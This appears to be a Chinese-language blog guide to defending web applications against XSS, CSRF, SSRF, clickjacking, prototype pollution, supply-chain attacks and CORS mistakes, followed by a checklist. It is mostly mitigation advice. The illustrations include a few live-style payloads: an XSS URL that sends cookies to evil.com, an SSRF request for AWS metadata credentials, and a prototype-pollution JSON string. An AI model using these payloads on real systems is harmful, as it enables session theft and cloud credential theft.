- Published on
Web 安全攻防实战 — XSS、CSRF、SSRF、Clickjacking、Prototype Pollution、供应链、CORS 完全指南(2025)
- Authors

- Name
- Youngju Kim
- @fjvbn20031
为什么需要一篇讲"攻击技术"的文章
开发者知道有 OWASP Top 10。但他们不知道那些条目落在自己代码的哪个位置。安全不是理论,必须靠具体的攻击手法和具体的防御代码来学。
- 2024 年登记的 CVE 数量:刷新历史最高纪录,超过 28,000 件。
- npm 攻击因为 GitHub Dependabot 减少了 30%,但每周仍有数百起。
- AI 生成的代码平均漏洞密度高出 40%(Stanford 2024)。
2025 年,你的应用被黑掉的方式大概率仍然是这里列出的十种之一。
Part 1 — XSS (Cross-Site Scripting)
三种形态
1. Reflected XSS
https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>
服务器把 q 原样插入 HTML。点一次 URL 就被窃取。
2. Stored XSS
恶意脚本被保存到评论、个人资料这类持久化存储里。最糟糕的情况 — 所有访问者都受影响。
3. DOM-based XSS
服务器完好无损。客户端 JS 把 location.hash 或 postMessage 不加校验就插入 DOM。
// 不好的写法
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;
防御层次
1. 输出转义(基础)
- React、Vue、Svelte 默认转义。
- 但使用
dangerouslySetInnerHTML、v-html、{@html}时会被击穿。 - 如果必须允许用户提供 HTML,就用 DOMPurify 做 sanitize。
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);
2. CSP (Content Security Policy)
最强的 XSS 防御。
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
- nonce:服务器每次响应生成一个随机值,放进
<script nonce="...">。 - strict-dynamic:受信任的脚本所加载的脚本也允许执行。
- 'unsafe-inline' 绝对禁止 — 90% 的 CSP 绕过都从这里开始。
3. Trusted Types(Chrome 83+,Firefox/Safari 不支持 → polyfill)
"禁止把字符串直接赋给危险的 sink(innerHTML 等)。"
Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
createHTML: (input) => DOMPurify.sanitize(input)
});
element.innerHTML = policy.createHTML(userInput);
Google 内部强制启用之后,自家应用的 XSS 报告数量骤降。
4. 框架提供的安全 API
- React:用普通 children 代替
dangerouslySetInnerHTML。 - Vue:用
{{ }}代替v-html。 - Angular:
[innerHTML]+DomSanitizer。
Part 2 — CSRF (Cross-Site Request Forgery)
原理
攻击者的站点自动提交 <form action="https://bank.com/transfer" method="POST">。受害者的 Cookie 被自动带上,请求于是成功。
2020 年之前的防御:CSRF Token
- 服务器签发 token → 放进 form 的 hidden field → 校验。
- Django、Rails 默认内置。
2020 年之后:SameSite Cookie
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
- Lax(2020 年起的 Chrome 默认值):只允许 top-level navigation 的 GET。
- Strict:跨站时绝不发送。
- None:不受限制(必须配
Secure)。
大多数 CSRF 都被 SameSite Lax 自动挡住了。 但以下情况仍然需要 token:
- GET 请求会改变状态(违反 RESTful)。
- 子域之间的请求。
- 用 CORS 开放出去的 POST 端点。
Double Submit Cookie
不依赖服务器 session 的 CSRF 防御。在 Cookie 和请求头里发送同一个 token 并比对校验。SPA + token 认证中经常使用。
Part 3 — SSRF (Server-Side Request Forgery)
2019 年 Capital One 事件
攻击者(Paige Thompson)诱导服务器从服务端发起请求访问 AWS EC2 元数据(169.254.169.254),窃取 IAM 凭证 → 从 S3 桶泄露了一亿人的数据。
攻击模式
# 服务器代码
@app.route('/fetch')
def fetch():
url = request.args.get('url')
return requests.get(url).text
# 攻击:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
防御
-
使用 IMDSv2(AWS) — 基于 token,GET 也需要 session。
MetadataOptions: HttpTokens: required HttpPutResponseHopLimit: 1 -
URL 校验 — 校验 scheme、host、port,并在 DNS 解析之后校验 IP。
- 阻断私有 IP 段(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16)。
- DNS Rebinding 防御 — 校验之后,在真正发出请求之前再校验一次。
-
网络隔离 — 把有 SSRF 风险的代码放进访问不到元数据的 VPC/子网。
-
出站代理 — 强制经过基于允许列表的代理。
-
Fetch 库的
redirect: 'manual'— 防止通过重定向绕道访问内部。
补充要点:0.0.0.0、IPv6、短链接
http://0.0.0.0/→ 会被解析为本地绑定地址。http://[::1]/→ IPv6 回环。http://bit.ly/...→ 通过重定向指向内部目标。
Part 4 — Clickjacking
原理
攻击者的站点用 <iframe> 把受害站点透明地覆盖在上面,劫持用户的点击。
防御
X-Frame-Options: DENY
或
Content-Security-Policy: frame-ancestors 'none'
frame-ancestors 更强也更灵活(可以允许多个域名)。X-Frame-Options 属于遗留方案,但一并加上仍然更安全。
用户视角的防御:给重要操作(支付、修改密码)加上二次认证或额外确认步骤。
Part 5 — Prototype Pollution
原理(Node.js / 浏览器 JS 通用)
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 此后所有对象都带上 isAdmin: true
({}).isAdmin // true
真实 CVE
- Lodash(2019,
_.merge) — 影响数百万应用。 - jQuery
$.extend(true, ...)。 - minimist(2020) — 影响大量 CLI 工具。
防御
- 递归 merge 时过滤
__proto__、constructor、prototype。 - Object.freeze(Object.prototype) — 尽量在应用启动时执行。
- 使用 Map — 存放任意键时用 Map 而不是 plain object。
Object.create(null)— 没有原型的对象。
function safeMerge(target, source) {
for (const key in source) {
if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
target[key] = source[key];
}
}
Part 6 — 供应链攻击
代表性事件
event-stream (2018)
在一个每周 200 万下载量的 npm 包里被植入了恶意代码。目标是 Copay 加密货币钱包,试图窃取受害者钱包里的 BTC。
ua-parser-js (2021)
每周 600 万下载量。攻击者夺取维护者账号之后发布了恶意版本。
xz-utils (2024)
几乎所有 Linux 都包含的压缩库。"Jia Tan"花了两年时间取得维护者资格,随后植入了 OpenSSH 后门。微软工程师 Andres Freund 偶然发现了它。
SolarWinds (2020)
构建流水线本身被攻破。恶意代码混进了已签名的更新,分发给了 18,000 家客户。
防御
- 提交 lock 文件 —
package-lock.json、pnpm-lock.yaml。 npm ci— 在 CI 中遵循 lock。- 自动依赖更新 + 复核 — Dependabot / Renovate。
- 漏洞扫描器 — Snyk、GitHub Advisory、
npm audit。 - 生成 SBOM — 用 Syft 列出组成清单。
- 签名校验 — npm 2023+ 的 provenance、Sigstore/cosign。
- OSSF Scorecard — 查看包的安全评分。
- 最小权限 CI — 别让构建服务器拿到超出需要的权限。
Typosquatting
rquest(真正的是 request)、lodas(真正的是 lodash) — 专门盯着拼写错误的恶意包。养成复制正式名称的习惯。
Part 7 — 彻底理解 CORS
很多开发者的误解
"放开 CORS 就等于放开安全。"错了。 CORS 不是安全功能,而是给同源策略(SOP)开例外的机制。SOP 才是默认的盾牌,CORS 是在这块盾牌上打洞的工具。
基本规则
浏览器发出跨源请求时:
- 简单请求:GET/HEAD/POST + 特定 Content-Type → 直接发送,若响应里带
Access-Control-Allow-Origin则允许读取。 - 预检请求(preflight):PUT/DELETE/自定义头/JSON POST → 先用 OPTIONS 请求确认。
常见错误
1. Access-Control-Allow-Origin: * + Allow-Credentials: true
浏览器会拒绝。用通配符就不能携带凭证。必须回显具体的某个源。
// 不好的写法
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
// 好的写法(先检查允许列表)
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
2. 把 Origin 原样回显
不做匹配校验就回显,等于任何站点都能读取凭证 → 后果严重。
3. 漏掉 Vary: Origin
缓存会把错误的响应发给另一个源。
CORS 与安全的关系
- CORS 开着并不会导致 token 泄露 — HttpOnly Cookie 和 Authorization 头依然安全。
- 但当 CSRF 防御依赖 SameSite 加 Origin 校验时,CORS 配置失误就会放行已认证的请求。
Part 8 — Rate Limiting & Bot Defense
为什么需要
- 登录暴力破解
- 注册垃圾流量
- 爬虫导致的成本暴涨
- AI 重度用户造成的 API 滥用
策略
- 基于 IP 的令牌桶 — Redis
INCR+ TTL 是常见实现。 - 基于用户/账号 — 登录之后按账号而不是按 IP 计。
- Sliding Window — 精确但成本高。
- 在 CDN/Edge 层拦截 — Cloudflare、Fastly、Vercel Firewall。
Bot Detection
- Cloudflare Turnstile(2022) — 用户体验更好的 CAPTCHA 替代方案。
- hCaptcha、Google reCAPTCHA v3。
- Arkose Labs — 金融行业的标准。
- Device Fingerprinting — FingerprintJS。
响应策略
- 429 Too Many Requests +
Retry-After头。 - 比起静默失败,明确的报错对用户和支持团队都更有好处。
- 对攻击者则用延迟响应(tarpit)让其浪费时间。
Part 9 — 认证中的常见错误
1. 把 JWT 存在 localStorage
一次 XSS 就被窃取。请使用 HttpOnly Cookie。
2. 用 SHA-256 做密码哈希
只能用 Argon2id、bcrypt、scrypt。普通哈希在 GPU 上每秒可以反算数亿次。
3. 密码找回 token 可预测
类似 btoa(email + Date.now()) 的错误。要用密码学随机数 + 短 TTL + 一次性使用。
4. 邮箱枚举(Enumeration)
"该邮箱尚未注册" → 攻击者据此收集会员名单。响应必须保持一致。
5. 会话固定(Session Fixation)
登录成功时必须轮换会话 ID。
Part 10 — HTTPS 与证书上的错误
没有配置 HSTS
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
用来防御首次 HTTP 请求上的 MITM。登记到 preload 列表之后,连第一次访问也受保护。
证书固定(Pinning)的陷阱
在移动应用里固定公钥。证书更新时,如果没法重新发布应用,全部用户都会中断。服务用户量到了几千万,就别做固定。监控 CT(Certificate Transparency)更实用。
Let's Encrypt + 自动续期
- 90 天的证书 → 必须自动续期。
- 2024 年的 ACME Renewal Info(ARI)让续期时机变得更聪明。
- rustls-acme、lego、certbot、Caddy(内置)。
Part 11 — 实战检查清单(12 项)
- CSP 一开始就上 — 等到运行期再补,
unsafe-inline一定会留下来。 - SameSite=Lax 作为默认 — 只有例外情况才用 None。
- HttpOnly + Secure — 会话 Cookie 上这是理所当然的。
- 强制 IMDSv2 — 用 AWS 时必须做。
- URL fetch 一律走 SSRF 代理 — 禁止直接
fetch(userUrl)。 - 依赖要有 lock 文件 + 自动审计。
- 所有外部输入都做 schema 校验(Zod 等)。
- 输出 sink 要 sanitize — 赋值给 innerHTML 之前先过 DOMPurify。
- 密码用 Argon2id — 不过已有的 bcrypt 也没问题。
- Rate Limit + 登录失败的指数级延迟。
- 密钥放 Vault/Secrets Manager — 不要提交
.env文件。 - 安全响应头全部配上 — HSTS、CSP、XFO、XCTO、Referrer-Policy、Permissions-Policy。
Part 12 — 十大反模式
innerHTML = userData— 直通 XSS。- 滥用
dangerouslySetInnerHTML— 不做 sanitize 就用。 Access-Control-Allow-Origin: *+ 凭证。- URL fetch 不做任何校验。
eval、Function(string)、setTimeout(string)。- 把 JWT 放进 localStorage — 一次 XSS 就全丢了。
- 密码重置 token 是简单数字 / 基于时间。
- 错误信息里暴露内部信息 — 堆栈跟踪、查询语句、token。
- 没有 CAPTCHA,允许无限次尝试。
- "因为是 HTTPS 所以安全" — 传输安全只是底线。认证与授权是另一回事。
Part 13 — 学习 & 实践资源
- 书籍: The Web Application Hacker's Handbook(Stuttard & Pinto) — 经典。
- 书籍: Real-World Bug Hunting(Peter Yaworski) — HackerOne 的真实案例。
- 平台: PortSwigger Web Security Academy(免费)。
- 比赛/练习: HackTheBox、TryHackMe。
- 工具: Burp Suite、OWASP ZAP、Semgrep、CodeQL。
- 新闻: Krebs on Security、The Hacker News、GitHub Advisory DB。
- 随笔: 每年读一读 Snyk/Google 的安全报告。
结语 — 安全就是"基本功"
这篇文章里的攻击,从 1998 年到 2024 年每年都在重复。就算新技术不断出现,先被攻破的永远是丢了基本功的应用。
对 2025 年的工程师来说,安全不是"黑客才做的特殊领域"。它是融进每天的代码评审、每天的库选型、每天的 API 设计里的基本功。
好消息:这篇文章里的防御手段大多是免费的。CSP、SameSite、DOMPurify、Zod、Dependabot、Cloudflare Turnstile。一行配置、一个库,就能让大量攻击失效。
坏消息: 总想着"下个项目一定要做"就往后拖。已经上线的应用,此时此刻正在被扫描。
下一篇预告 — "实战网络工程" — TCP 拥塞控制、TLS 1.3、HTTP/3 QUIC、DNS over HTTPS、BGP,一直到 CDN 内部
如果说 Web 安全讲的是"要挡住什么",那么下一篇讲的是"数据是怎么来回走的"。
- TCP 拥塞控制的现代 — BBR、CUBIC、PRR
- TLS 1.3 的革命 — 1-RTT、0-RTT、Post-Quantum
- HTTP/3 + QUIC — 基于 UDP 的重新诠释
- DNS 的演进 — DoH、DoT、DNSSEC、ECS
- BGP 劫持 — 2021 年 Facebook 六小时故障的真正原因
- Anycast 与 CDN 路由 — Cloudflare/Fastly/Akamai
- WebSocket vs SSE vs WebTransport — 实时通信的选择
- Zero RTT 的安全风险 — replay attack
- 用 eBPF 观测网络
- 按数据包粒度理解协议 — Wireshark 实战
如何把"网络好慢"的原因一路追到协议层去找。下一篇见。